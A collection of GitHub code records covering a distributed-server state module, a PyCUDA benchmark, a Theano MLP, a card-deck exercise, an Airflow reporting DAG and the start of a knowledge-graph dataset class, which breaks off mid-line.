self.taskExecThreads.stop()\n            self._write()\n            self.quit=True\n            doProfile = self.conf.getProfiling()\n            if doProfile:\n                try:\n                    import yappi\n                    logDir = self.conf.getLogDir()\n                    profFile = os.path.join(logDir, 'server_profile.call')\n                    yappi.get_func_stats().save(profFile, 'callgrind')\n                    profFile = os.path.join(logDir, 'server_profile.txt')\n                    profFileF = open(profFile, 'w')\n                    yappi.get_func_stats().print_all(profFileF)\n                    profFileF.close()\n                except:\n                    log.exception('Cannot write profiling information')\n\n    def getQuit(self):\n        \"\"\"get the quit state\"\"\"\n        with self.quitlock:\n            ret=self.quit\n        return ret\n\n    def getLocalAssets(self):\n        \"\"\"Get the localassets object\"\"\"\n        return self.localAssets\n\n    def getRemoteAssets(self):\n        \"\"\"Get the remoteassets object\"\"\"\n        return self.remoteAssets\n\n    def getSessionHandler(self):\n        \"\"\"Get the session handler\"\"\"\n        return self.sessionHandler\n\n    def getProjectList(self):\n        \"\"\"Get the list of projects as an object.\"\"\"\n        return self.projectlist\n\n    def getCmdQueue(self):\n        \"\"\"Get the run queue as an object.\"\"\"\n        return self.cmdQueue\n\n    def getRunningCmdList(self):\n        \"\"\"Get the running command list.\"\"\"\n        return self.runningCmdList\n\n    def getWorkerDataList(self):\n        \"\"\"Get the worker directory list.\"\"\"\n        return self.workerDataList\n\n    def getCmdLocation(self, cmdID):\n        \"\"\"Get the argument command location.\"\"\"\n        return  self.runningCmdList.getLocation(cmdID)\n\n    def write(self):\n        \"\"\"Write the full server state out to all appropriate files.\"\"\"\n        # we go through all these motions to make sure that nothing prevents\n        # the server from starting up again.\n        self.taskExecThreads.acquire()\n        try:\n            self.taskExecThreads.pause()\n            self._write()\n            self.taskExecThreads.cont()\n        finally:\n            self.taskExecThreads.release()\n\n    def saveProject(self,project):\n        self.taskExecThreads.acquire()\n        conf = ServerConf()\n        try:\n            self.taskExecThreads.pause()\n            self._write()\n            projectFolder = \"%s/%s\"%(conf.getRunDir(),project)\n            if(os.path.isdir(projectFolder)):\n                #tar the project folder but keep the old files also, this is\n                # only a backup!!!\n                #copy _state.xml to _state.bak.xml\n                stateBackupFile = \"%s/_state.bak.xml\"%projectFolder\n                shutil.copyfile(\"%s/_state.xml\"%projectFolder,stateBackupFile)\n                tff=tempfile.TemporaryFile()\n                tf=tarfile.open(fileobj=tff, mode=\"w:gz\")\n                tf.add(projectFolder, arcname=\".\", recursive=True)\n                tf.close()\n                del(tf)\n                tff.seek(0)\n                os.remove(stateBackupFile)\n                self.taskExecThreads.cont()\n            else:\n                self.taskExecThreads.cont()\n                raise Exception(\"Project does not exist\")\n        finally:\n            self.taskExecThreads.release()\n\n        return tff\n\n    def _write(self):\n        self.projectlist.writeFullState(self.conf.getProjectFile())\n        #self.taskQueue.writeFullState(self.conf.getTaskFile())\n        #self.projectlist.writeState(self.conf.getProjectFile())\n        self.runningCmdList.writeState()\n\n    def read(self):\n        self.projectlist.readState(self, self.conf.getProjectFile())\n        self.runningCmdList.readState()\n\n    #rereads the project state for one specific project\n    def readProjectState(self,projectName):\n        self.projectlist.readProjectState(projectName)\n\n\n    def getWorkerStates(self):\n        '''\n        returns: dict\n        '''\n        return self.workerStates\n\n    def setWorkerState(self,state,workerId,originating):\n        # we construct the object first as the key is dependant on the id\n        # generated by the constructor. Not thread safe\n        workerState = cpc.util.worker_state.WorkerState(originating,state,workerId)\n        if workerState.workerId in self.workerStates:\n            self.workerStates[workerState.workerId].setState(state)\n        else:\n            self.workerStates[workerState.workerId] = workerState\n\n\n    def addReadableSocket(self,socket):\n        with self.readableSocketLock:\n            self.readableSockets.append(socket)\n\n    def removeReadableSocket(self,socket):\n        with self.readableSocketLock:\n            self.readableSockets.remove(socket)\n\ndef stateSaveLoop(serverState, conf):\n    \"\"\"Function for the state saving thread.\"\"\"\n    while True:\n        time.sleep(conf.getStateSaveInterval())\n        if not serverState.getQuit():\n            log.debug(\"Saving server state.\")\n            serverState.write()\n\n\ndef establishConnections(serverState):\n    establishInboundConnections(serverState)\n    establishOutBoundConnections()\n    serverState.startKeepAliveThread()\n    serverState.startReestablishConnectionThread()\n\n\ndef establishOutboundConnection(node):\n    conf = ServerConf()\n\n    for i in range(0, conf.getNumPersistentConnections()):\n        try:\n            #This will make a regular call, the connection pool will take\n            # care of the rest\n            message = PersistentServerMessage(node, conf)\n            resp = message.persistOutgoingConnection()\n            node.addOutboundConnection()\n\n        except ServerConnectionError as e:\n            #The node is not reachable at this moment,\n            # no need to throw an exception since we are marking the node\n            # as unreachable in ServerConnection\n            log.log(cpc.util.log.TRACE, \"Exception when establishing \"\n                                        \"outgoing connections: %s \" % e)\n            break\n\n    if node.isConnectedOutbound():\n        log.log(cpc.util.log.TRACE,\"Established outgoing \"\n                                   \"connections to server \"\n                                   \"%s\"%node.toString())\n\n    else:\n        log.log(cpc.util.log.TRACE,\"Could not establish outgoing \"\n                                   \"connections to %s\"%node.toString())\ndef establishOutBoundConnections():\n    conf = ServerConf()\n\n    log.log(cpc.util.log.TRACE,\"Starting to establish outgoing connections\")\n\n    for node in conf.getNodes().nodes.itervalues():\n        establishOutboundConnection(node)\n\n    log.log(cpc.util.log.TRACE,\"Finished establishing outgoing \"\n                               \"connections\")\n\n\ndef establishInboundConnection(node, serverState):\n    conf=ServerConf()\n\n    for i in range(0, conf.getNumPersistentConnections()):\n        try:\n            message = PersistentServerMessage(node, conf)\n            socket = message.persistIncomingConnection()\n            serverState.addReadableSocket(socket)\n            node.addInboundConnection()\n\n\n        except ServerConnectionError as e:\n            #The node is not reachable at this moment,\n            # no need to throw an exception since we are marking the node\n            # as unreachable ins ServerConnectionHandler\n            log.log(cpc.util.log.TRACE, \"Exception when establishing \"\n                                        \"inbound connections: %s \" % e)\n            break\n\n    if node.isConnectedInbound():\n        log.log(cpc.util.log.TRACE, \"Established inbound \"\n                                \"connections to server \"\n                                \"%s\" % node.toString())\n    else:\n        log.log(cpc.util.log.TRACE, \"Could not establish inbound \"\n                                \"connections to server \"\n                                \"%s\" % node.toString())\n\n\ndef establishInboundConnections(serverState):\n    \"\"\"\n    for each node that is not connected\n    try to establish an inbound connection\n    \"\"\"\n    conf = ServerConf()\n    log.log(cpc.util.log.TRACE,\"Starting to establish incoming connections\")\n    for node in conf.getNodes().nodes.itervalues():\n        establishInboundConnection(node, serverState)\n\n    log.log(cpc.util.log.TRACE,\"Finished establishing incoming \"\n                                   \"connections\")\n\n\ndef sendKeepAlive(conf):\n    \"\"\"\n        Sends a message for each connected node in order to keep the\n        connection alive\n    \"\"\"\n    log.log(cpc.util.log.TRACE,\"Starting keep alive thread\")\n\n    #first get the network topology. by doing this we know that the network\n    # topology is fetched and resides in the cache.\n    #since we are later on fetching all connections from the connection pool\n    # there will be no connection left to do this call thus we must be sure\n    # that its already cached.\n    ServerToServerMessage.getNetworkTopology()\n\n    while True:\n        log.log(cpc.util.log.TRACE,\"Starting to send keep alive\")\n        sentRequests = 0\n        for node in conf.getNodes().nodes.itervalues():\n            if node.isConnectedOutbound():\n                try:\n                    connections = ServerConnectionPool().getAllConnections(node)\n\n                    for conn in connections:\n                        try:\n                            message = DirectServerMessage(node,conf)\n                            message.conn = conn\n                            message.pingServer(node.getId())\n                            log.log(cpc.util.log.TRACE,\"keepAlive sent to %s\"%node\n                            .toString())\n\n                        except ServerConnectionError:\n                            log.error(\"Connection to %s is broken\"%node.toString())\n\n                    sentRequests+=1\n\n                except ConnectionPoolEmptyError:\n                    #this just mean that no connections are available in the\n                    # pool i.e they are used and communicated on thus we do\n                    # not need to send keep alive messages on them\n                    continue\n\n        keepAliveInterval = conf.getKeepAliveInterval()\n        log.log(cpc.util.log.TRACE,\"sent keep alive to %s nodes \"\n                                   \"will resend in %s seconds\"%(sentRequests,\n                                                         keepAliveInterval))\n        time.sleep(keepAliveInterval)\n\n\ndef reestablishConnections(serverState):\n    '''\n    Tries to periodically check for nodes that have gone down and reestablish\n     connections to them\n    '''\n    log.log(cpc.util.log.TRACE,\"Starting reestablish connection thread\")\n    conf = ServerConf()\n    while True:\n        for node in conf.getNodes().nodes.itervalues():\n            if not node.isConnected():\n                establishInboundConnection(node,serverState)\n                establishOutboundConnection(node)\n\n            if not node.isConnected():\n                log.log(cpc.util.log.TRACE,(\"Tried to reestablish a \"\n                                            \"connection\"\n                                            \" to %s but failed \"%node.toString()))\n\n\n        reconnectInterval = conf.getReconnectInterval()\n        time.sleep(reconnectInterval)\n","repo_name":"gromacs/copernicus","sub_path":"cpc/server/state/server_state.py","file_name":"server_state.py","file_ext":"py","file_size_in_byte":15129,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"18"}
{"seq_id":"21304197878","text":"from pycuda import gpuarray\nimport pycuda.driver as drv\nfrom pycuda.elementwise import ElementwiseKernel\nimport numpy as np\n\nfrom imagingtester import (\n    MINIMUM_PIXEL_VALUE,\n    MAXIMUM_PIXEL_VALUE,\n    create_arrays,\n    DTYPE,\n    SIZES_SUBSET,\n    N_RUNS,\n)\nfrom numpy_scipy_imaging_filters import numpy_background_correction\nfrom pycuda_test_utils import PyCudaImplementation, C_DTYPE, LIB_NAME\n\nfrom write_and_read_results import (\n    ARRAY_SIZES,\n    write_results_to_file,\n    ADD_ARRAYS,\n    BACKGROUND_CORRECTION,\n)\n\nmode = \"elementwise kernel\"\n\nBackgroundCorrectionKernel = ElementwiseKernel(\n    arguments=\"{0} * data, {0} * flat, const {0} * dark, const {0} MINIMUM_PIXEL_VALUE, const {0} MAXIMUM_PIXEL_VALUE\".format(\n        C_DTYPE\n    ),\n    operation=\"flat[i] -= dark[i];\"\n    \"if (flat[i] == 0) flat[i] = MINIMUM_PIXEL_VALUE;\"\n    \"data[i] -= dark[i];\"\n    \"data[i] /= flat[i];\"\n    \"if (data[i] > MAXIMUM_PIXEL_VALUE) data[i] = MAXIMUM_PIXEL_VALUE;\"\n    \"if (data[i] < MINIMUM_PIXEL_VALUE) data[i] = MINIMUM_PIXEL_VALUE;\",\n    name=\"BackgroundCorrectionKernel\",\n)\n\nelementwise_background_correction = lambda data, flat, dark: BackgroundCorrectionKernel(\n    data, flat, dark, MINIMUM_PIXEL_VALUE, MAXIMUM_PIXEL_VALUE\n)\n\n# Create an element-wise Add Array Function\nAddArraysKernel = ElementwiseKernel(\n    arguments=\"{0} * arr1, {0} * arr2\".format(C_DTYPE),\n    operation=\"arr1[i] += arr2[i]\",\n    name=\"AddArraysKernel\",\n)\n\n\nclass PyCudaKernelImplementation(PyCudaImplementation):\n    def __init__(self, size, dtype):\n\n        super().__init__(size, dtype)\n        self.warm_up()\n\n    def warm_up(self):\n        warm_up_size = (1, 1, 1)\n        cpu_arrays = create_arrays(warm_up_size, DTYPE)\n        gpu_arrays = self._send_arrays_to_gpu(cpu_arrays)\n        BackgroundCorrectionKernel(\n            gpu_arrays[0],\n            gpu_arrays[1],\n            gpu_arrays[2],\n            MINIMUM_PIXEL_VALUE,\n            MAXIMUM_PIXEL_VALUE,\n        )\n        AddArraysKernel(gpu_arrays[0], gpu_arrays[1])\n\n\npractice_array = np.ones(shape=(5, 5, 5)).astype(DTYPE)\npractice_array = gpuarray.to_gpu(practice_array)\nAddArraysKernel(practice_array, practice_array)\nassert np.all(practice_array.get() == 2)\n\nnp_arrays = [np.random.uniform(low=0.0, high=20, size=(5, 5, 5)) for _ in range(3)]\nnp_data, np_dark, np_flat = np_arrays\ncuda_data, cuda_dark, cuda_flat = [gpuarray.to_gpu(np_arr) for np_arr in np_arrays]\nelementwise_background_correction(cuda_data, cuda_flat, cuda_dark)\nnumpy_background_correction(np_dark, np_data, np_flat)\nassert np.allclose(np_data, cuda_data.get())\n\nadd_arrays_results = []\nbackground_correction_results = []\n\nfor size in ARRAY_SIZES[:SIZES_SUBSET]:\n\n    imaging_obj = PyCudaKernelImplementation(size, DTYPE)\n\n    avg_add = imaging_obj.timed_imaging_operation(N_RUNS, AddArraysKernel, \"adding\", 2)\n    avg_bc = imaging_obj.timed_imaging_operation(\n        N_RUNS, elementwise_background_correction, \"background correction\", 3\n    )\n\n    if avg_add > 0:\n        add_arrays_results.append(avg_add)\n    if avg_bc > 0:\n        background_correction_results.append(avg_bc)\n\nwrite_results_to_file([LIB_NAME, mode], ADD_ARRAYS, add_arrays_results)\nwrite_results_to_file(\n    [LIB_NAME, mode], BACKGROUND_CORRECTION, background_correction_results\n)\n\ndrv.Context.pop()\n","repo_name":"DolicaAkelloEgwel/howdoespycudawork","sub_path":"test_pycuda_kernel.py","file_name":"test_pycuda_kernel.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73065892520","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nimport deep\nimport autoencoder\nimport tools\n\nclass MlpModel(object):\n    def __init__(self,hidden,logistic):\n        self.hidden=hidden\n        self.logistic=logistic\n        \n    def get_params(self):\n        return self.hidden.get_params() + self.logistic.get_params()\n\ndef built_nn_cls(hyper_params):\n    model= create_mlp_model(hyper_params)\n    free_vars=deep.LabeledImages()\n    train,test,prob_dist=create_nn_fun(free_vars,model,hyper_params)\n    return deep.Classifier(free_vars,model,train,test,prob_dist)\n\ndef create_mlp_model(hyper_params):\n    n_in=hyper_params['n_in']\n    n_hidden=hyper_params['n_hidden']\n    n_out=hyper_params['n_out']\n    rand=deep.RandomNum()\n    hidden_shape=(n_in,n_hidden)\n    hidden=deep.create_layer(hidden_shape,rand,\"_hidden\")\n    vis_shape=(n_hidden,n_out)\n    logistic=deep.create_layer(vis_shape,rand,\"_vis\")\n    return MlpModel(hidden,logistic)\n\ndef create_nn_fun(free_vars,model,hyper_params):\n    learning_rate=hyper_params['learning_rate']\n    py_x=get_px_y(free_vars,model)\n    loss=tools.get_loss_function(free_vars,py_x)\n    return tools.construct_functions(free_vars,model,py_x,loss,learning_rate)\n\ndef get_px_y(free_vars,model):\n    hidden=model.hidden\n    output_layer=model.logistic\n    h = T.nnet.sigmoid(T.dot(free_vars.X, hidden.W) + hidden.b)\n    pyx = T.nnet.softmax(T.dot(h, output_layer.W) + output_layer.b)\n    return pyx","repo_name":"tjacek/autoencoder_frames","sub_path":"deep/nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"8509430774","text":"deck_of_cards = input().split(\", \")\nnumber = int(input())\n\nfor num in range(number):\n    command = input().split(\", \")\n    action = command[0]\n    if action == \"Add\":\n        card_name = command[1]\n        if card_name not in deck_of_cards:\n            deck_of_cards.append(card_name)\n            print(\"Card successfully added\")\n        else:\n            print(\"Card is already in the deck\")\n    elif action == \"Remove\":\n        name_of_card = command[1]\n        if name_of_card in deck_of_cards:\n            deck_of_cards.remove(name_of_card)\n            print(\"Card successfully removed\")\n        else:\n            print(\"Card not found\")\n    elif action == \"Remove At\":\n        given_index = int(command[1])\n        if 0 <= given_index < len(deck_of_cards):\n            deck_of_cards.pop(given_index)\n            print(\"Card successfully removed\")\n        else:\n            print(\"Index out of range\")\n    elif action == \"Insert\":\n        index1 = int(command[1])\n        name_card = command[2]\n        if 0 <= index1 < len(deck_of_cards):\n            if name_card not in deck_of_cards:\n                deck_of_cards.insert(index1, name_card)\n                print(\"Card successfully added\")\n            else:\n                print(\"Card is already added\")\n        else:\n            print(\"Index out of range\")\n\nprint(\", \".join(deck_of_cards))\n","repo_name":"dinocom33/Programming-Fundamentals-with-Python-September-2022","sub_path":"Mid-Exam/deck_of_cards.py","file_name":"deck_of_cards.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"17710295916","text":"# LIBS\n# Custom libs\nfrom src.utils import last_month, open_file\nfrom mlocker_components.locker import Locker\n\n# Base libs\nimport shutil\nimport pandas as pd\n\nfrom datetime import datetime\nfrom google.cloud import bigquery\n\n# Airlow libs\nfrom airflow.settings import AIRFLOW_HOME\nfrom airflow.models import DAG, Variable\nfrom airflow.operators.python import PythonOperator\n\n\n# SETTINGS\nCHAT_ID = 532076235 # test id\nPERIOD_OF_REPORT = tuple(map(str, last_month()))\n\nPLATFORMS_BQ = {'android': 'ruligastavokandroid_mob2', 'ios': 'id1065803457'}\nPLATFORMS_AF = {'android': 'ru.ligastavok.android-mob2', 'ios': 'id1065803457'}\n\n# Paths\nSOURCE_DIR = f'{AIRFLOW_HOME}/data/{PERIOD_OF_REPORT[1]}'\nRESULT_DIR = f'{AIRFLOW_HOME}/result/{PERIOD_OF_REPORT[1]}'\n\nSOURCE_PATHS = {\n    'ru android event': f'{SOURCE_DIR}/ru/{PLATFORMS_BQ[\"android\"]}_events_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'ru ios event': f'{SOURCE_DIR}/ru/{PLATFORMS_BQ[\"ios\"]}_events_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'all android event': f'{SOURCE_DIR}/all/{PLATFORMS_BQ[\"android\"]}_events_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'all ios event': f'{SOURCE_DIR}/all/{PLATFORMS_BQ[\"ios\"]}_events_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n\n    'ru android fraud': f'{SOURCE_DIR}/ru/{PLATFORMS_AF[\"android\"]}_frauds_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'ru ios fraud': f'{SOURCE_DIR}/ru/{PLATFORMS_AF[\"ios\"]}_frauds_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'all android fraud': f'{SOURCE_DIR}/all/{PLATFORMS_AF[\"android\"]}_frauds_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv',\n    'all ios fraud': f'{SOURCE_DIR}/all/{PLATFORMS_AF[\"ios\"]}_frauds_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}.csv'\n}\n\nRESULT_DIRS = {\n    'ru report new': f'{RESULT_DIR}/RU_report_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_NEW',\n    'ru report old': f'{RESULT_DIR}/RU_report_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_OLD',\n    'all report new': f'{RESULT_DIR}/ALL_report_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_NEW',\n    'all report old': f'{RESULT_DIR}/ALL_report_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_OLD',\n\n    'ru imgs new': f'{RESULT_DIR}/RU_imgs_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_NEW',\n    'ru imgs old': f'{RESULT_DIR}/RU_imgs_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_OLD',\n    'all imgs new': f'{RESULT_DIR}/ALL_imgs_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_NEW',\n    'all imgs old': f'{RESULT_DIR}/ALL_imgs_{PERIOD_OF_REPORT[0]}_{PERIOD_OF_REPORT[1]}_OLD'\n}\n\n# Keys\nTG_TOKEN = Variable.get('tg_mlocker_token')\nAF_TOKEN = Variable.get('appsflyer_api_key')\nBQ_TOKEN = Variable.get('wa-service-account_secret', deserialize_json=True)\n\n\n# INITS\nbigclient = bigquery.Client.from_service_account_info(BQ_TOKEN)\nbot = Locker(\n    chat_id=CHAT_ID,\n    period=PERIOD_OF_REPORT,\n    tg_token=TG_TOKEN,\n    af_token=AF_TOKEN,\n    bigclient = bigclient\n)\n\ndef create_folders():\n    bot.send_message(f'Собираю данные для отчета...\\nпериод c {PERIOD_OF_REPORT[0]} по {PERIOD_OF_REPORT[1]}')\n    bot.create_dirs(AIRFLOW_HOME, 'data', 'result')\n    print('folders created\\n')\n\ndef collect_events():\n    bot.collect_events(PLATFORMS_BQ[\"android\"], 'ru').to_csv(SOURCE_PATHS['ru android event'], index=False)\n    bot.collect_events(PLATFORMS_BQ[\"ios\"], 'ru').to_csv(SOURCE_PATHS['ru ios event'], index=False)\n    bot.collect_events(PLATFORMS_BQ[\"android\"], 'all').to_csv(SOURCE_PATHS['all android event'], index=False)\n    bot.collect_events(PLATFORMS_BQ[\"ios\"], 'all').to_csv(SOURCE_PATHS['all ios event'], index=False)\n    print('events collected\\n')\n\ndef collect_frauds():\n    rows = 100_000\n    open_file(SOURCE_PATHS['ru android fraud'], 'w', text=bot.collect_frauds(PLATFORMS_AF[\"android\"], 'ru', rows))\n    open_file(SOURCE_PATHS['ru ios fraud'], 'w', text=bot.collect_frauds(PLATFORMS_AF[\"ios\"], 'ru', rows))\n    open_file(SOURCE_PATHS['all android fraud'], 'w', text=bot.collect_frauds(PLATFORMS_AF[\"android\"], 'all', rows))\n    open_file(SOURCE_PATHS['all ios fraud'], 'w', text=bot.collect_frauds(PLATFORMS_AF[\"ios\"], 'all', rows))\n    print('fraud collected\\n')\n\ndef process_reports():\n    bot.send_message(f'Готовлю отчет...')\n\n    # Get data\n    source_dfs_ru = {}\n    source_dfs_all = {}\n\n    for key, path in SOURCE_PATHS.items():\n        df = pd.read_csv(path)\n        df.columns = df.columns.str.replace(' ', '_')\n        if 'ru ' in key:\n            source_dfs_ru[key] = df[df['Country_Code'] == 'RU']\n        elif 'all ' in key:\n            source_dfs_all[key] = df\n\n    print('source dfs loaded\\n')\n\n    # Process data\n    processed_dfs_ru = bot.process(source_dfs_ru)\n    processed_dfs_all = bot.process(source_dfs_all)\n\n    # Assembling report\n    bot.report(processed_dfs_ru['new_attr'].get_dataframe(), RESULT_DIRS['ru report new'], RESULT_DIRS['ru imgs new'])\n    bot.report(processed_dfs_ru['old_attr'].get_dataframe(), RESULT_DIRS['ru report old'], RESULT_DIRS['ru imgs old'])\n    bot.report(processed_dfs_all['new_attr'].get_dataframe(), RESULT_DIRS['all report new'], RESULT_DIRS['all imgs new'])\n    bot.report(processed_dfs_all['old_attr'].get_dataframe(), RESULT_DIRS['all report old'], RESULT_DIRS['all imgs old'])\n    print('report assembled\\n')\n\n\ndef push_reports():\n    bot.split_reports(RESULT_DIR)\n    print('Report splited')\n\n    bot.archive(RESULT_DIR)\n    print('Report archived')\n\n    bot.send_message('Загружаю файлы...')\n    bot.send_documents(RESULT_DIR)\n    bot.send_message('Готово!')\n    print('Report pushed')\n\n    shutil.rmtree(f'{SOURCE_DIR}')\n    shutil.rmtree(f'{RESULT_DIR}')\n    print('Dirs was cleared')\n\n\nwith DAG(\n    'mobile_locker_bot',\n    schedule_interval='0 6 1 * *',\n    start_date=datetime(2022, 8, 8),\n    default_args={\n        'owner': 'Sorokin Yegor',\n        'email': 'egor.sorokin@ligastavok.ru',\n        'email_on_failure': True,\n        'depends_on_past': True\n    },\n    max_active_runs=1,\n    tags=['Mobile', 'Telegram', 'Bot']\n) as dag:\n\n    # Init operators\n    folders = PythonOperator(task_id='create_folders', python_callable=create_folders)\n    events = PythonOperator(task_id='collect_events', python_callable=collect_events)\n    frauds = PythonOperator(task_id='collect_frauds', python_callable=collect_frauds)\n    process = PythonOperator(task_id='process_reports', python_callable=process_reports)\n    push = PythonOperator(task_id='push_reports', python_callable=push_reports)\n\n    # Pipline\n    folders.set_downstream(events)\n    folders.set_downstream(frauds)\n\n    events.set_downstream(process)\n    frauds.set_downstream(process)\n\n    process.set_downstream(push)\n","repo_name":"Yegor9151/Telegram_MobileLocker_bot","sub_path":"dag.py","file_name":"dag.py","file_ext":"py","file_size_in_byte":6665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35460274288","text":"import itertools\nimport json\nimport os\nfrom typing import Literal, Optional\n\nimport networkx as nx\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport torch\nfrom PIL.Image import Image\nfrom pingouin import distance_corr\nfrom sklearn.manifold import TSNE\nfrom thefuzz import process as fuzz_process\nfrom torch import nn, optim\nfrom torch.utils.data import DataLoader, Dataset, Sampler\nfrom tqdm import tqdm\nfrom transformers import (\n    AutoProcessor,\n    AutoTokenizer,\n    CLIPTextModelWithProjection,\n    CLIPVisionModelWithProjection,\n)\n\nfrom preprocessing import process_image\n\n\nclass KGDatasetBatchSampler(Sampler):\n    def __init__(self, data_source: \"KGDataset\", batch_size: int) -> None:\n        super().__init__(data_source)\n        self.data_source = data_source\n        self.batch_size = batch_size\n        text_text = torch.randperm(len(self.data_source.text_text_pairs)).tolist()\n        text_image = (\n            torch.randperm(len(self.data_source.text_image_pairs))\n            + len(self.data_source.text_text_pairs)\n        ).tolist()\n        image_text = (\n            torch.randperm(len(self.data_source.image_text_pairs))\n            + len(self.data_source.text_text_pairs)\n            + len(self.data_source.text_image_pairs)\n        ).tolist()\n        image_image = (\n            torch.randperm(len(self.data_source.image_image_pairs))\n            + len(self.data_source.text_text_pairs)\n            + len(self.data_source.text_image_pairs)\n            + len(self.data_source.image_text_pairs)\n        ).tolist()\n        batches = (\n            self.__to_chuncks(text_text)\n            + self.__to_chuncks(text_image)\n            + self.__to_chuncks(image_text)\n            + self.__to_chuncks(image_image)\n        )\n        np.random.shuffle(batches)\n        self.batches = batches\n\n    def __iter__(self):\n        for batch in self.batches:\n            yield batch\n\n    def __to_chuncks(self, lst):\n        chuncks = []\n        for i in range(0, len(lst), self.batch_size):\n            chuncks.append(lst[i : i + self.batch_size])\n        return chuncks\n\n    def __len__(self):\n        return len(self.batches)\n\n\nclass KGDataset(Dataset):\n    def __init__(\n        self,\n        kg_csv_path: str,\n        face_images_dir: Optional[str] = None,\n        max_pairs: int = 1000,\n        max_hops: int = 3,\n    ):\n        \"\"\"\n        Create a dataset of pairs of entities from a knowledge graph.\n\n        Parameters:\n        ----------\n        kg_csv_path : the path to the CSV file containing the knowledge graph\n        face_images_dir : the path to the directory containing the face images of film characters\n        max_pairs : the maximum number of pairs to generate\n        max_hops : the maximum number of hops to consider for symmetric relations\n        \"\"\"\n\n        kg_df = self.__load_knowledge_graph_with_embeddings(kg_csv_path)\n        kg = self.__kg_df_to_graph(kg_df)\n        pair_gen = self.__build_pairs(kg, num_hops=max_hops)\n        textual_pairs = []\n        for _ in tqdm(range(max_pairs), total=max_pairs):\n            try:\n                textual_pairs.append(next(pair_gen))\n            except StopIteration:\n                break\n\n        # filter out duplicate pairs, under symmetric relations\n        textual_pairs = list({tuple(sorted(pair)) for pair in textual_pairs})\n        textual_pairs.sort()\n        print(textual_pairs)\n\n        self.face_images = (\n            self.__load_face_images(face_images_dir)\n            if face_images_dir is not None\n            else {}\n        )\n        unique_entity_names = {\n            entity\n            for entity in [pair[0] for pair in textual_pairs]\n            + [pair[1] for pair in textual_pairs]\n        }\n        matched_face_images = self.match_face_images(list(unique_entity_names))\n        self.__build_multimodal_pairs(textual_pairs, matched_face_images)\n\n    def __build_multimodal_pairs(\n        self, pairs: list[tuple[str, str]], matched_face_images: dict[str, list]\n    ):\n        \"\"\"\n        Build pairs of entities from the knowledge graph\n        and their corresponding face images.\n\n        Parameters:\n        ----------\n        pairs : the pairs of entities\n        matched_face_images : the face images of the entities\n        \"\"\"\n\n        self.texts1 = []\n        self.texts2 = []\n        self.images1 = []\n        self.images2 = []\n        for head, tail in pairs:\n            self.texts1.append(head)\n            self.texts2.append(tail)\n            head_image, tail_image = (\n                matched_face_images.get(head, [None])[0],\n                matched_face_images.get(tail, [None])[0],\n            )\n            self.images1.append(head_image)\n            self.images2.append(tail_image)\n\n        self.text_text_pairs = list(zip(self.texts1, self.texts2))\n        self.text_image_pairs = [\n            (text, image)\n            for text, image in zip(self.texts1, self.images2)\n            if image is not None\n        ]\n        self.image_text_pairs = [\n            (image, text)\n            for image, text in zip(self.images1, self.texts2)\n            if image is not None\n        ]\n        self.image_image_pairs = [\n            pair for pair in zip(self.images1, self.images2) if None not in pair\n        ]\n        self.labels = [1] * (\n            len(self.text_text_pairs)\n            + len(self.text_image_pairs)\n            + len(self.image_text_pairs)\n            + len(self.image_image_pairs)\n        )\n\n    def match_face_images(self, names: list[str]) -> dict[str, list]:\n        \"\"\"\n        Match the face images to the names of the characters\n        using fuzzy string matching.\n        If a name is not matched, then the name will not be included\n        in the returned dictionary.\n\n        Parameters:\n        ----------\n        names : the names of the characters\n\n        Returns:\n        -------\n        images : a dictionary mapping the name of the character to a list of face images\n        \"\"\"\n        canonical_names = list(self.face_images.keys())\n        images = {}\n        for name in names:\n            match = fuzz_process.extractOne(name, canonical_names, score_cutoff=90)\n            if match is not None:\n                match, _ = match\n                images[name] = self.face_images[match]\n        return images\n\n    def __load_face_images(self, path: str):\n        \"\"\"\n        Load the face images from a directory.\n\n        Parameters:\n        ----------\n        path : the path to the directory containing the face images, where\n                the name of each subdirectory is the name of the character.\n\n        Returns:\n        -------\n        images : a dictionary mapping the name of the character to a list of face images\n        \"\"\"\n\n        images: dict[str, list] = {}\n        for sub_dir in os.listdir(path):\n            if not os.path.isdir(os.path.join(path, sub_dir)):\n                continue\n            for image_path in os.listdir(os.path.join(path, sub_dir)):\n                image = process_image(os.path.join(path, sub_dir, image_path))\n                if image is not None:\n                    name = sub_dir\n                    if name not in images:\n                        images[name] = []\n                    images[name].append(image)\n        return images\n\n    def __load_knowledge_graph_with_embeddings(self, path: str):\n        \"\"\"\n        Load th knowledge grpah from a CSV with columns (head, relation, relation_embedding, tail).\n\n        Parameters:\n        ----------\n        path : the path to the CSV file\n\n        Returns:\n        -------\n        df : the knowledge graph as a pandas dataframe\n        \"\"\"\n\n        df = pd.read_csv(path)\n        df[\"relation_embedding\"] = 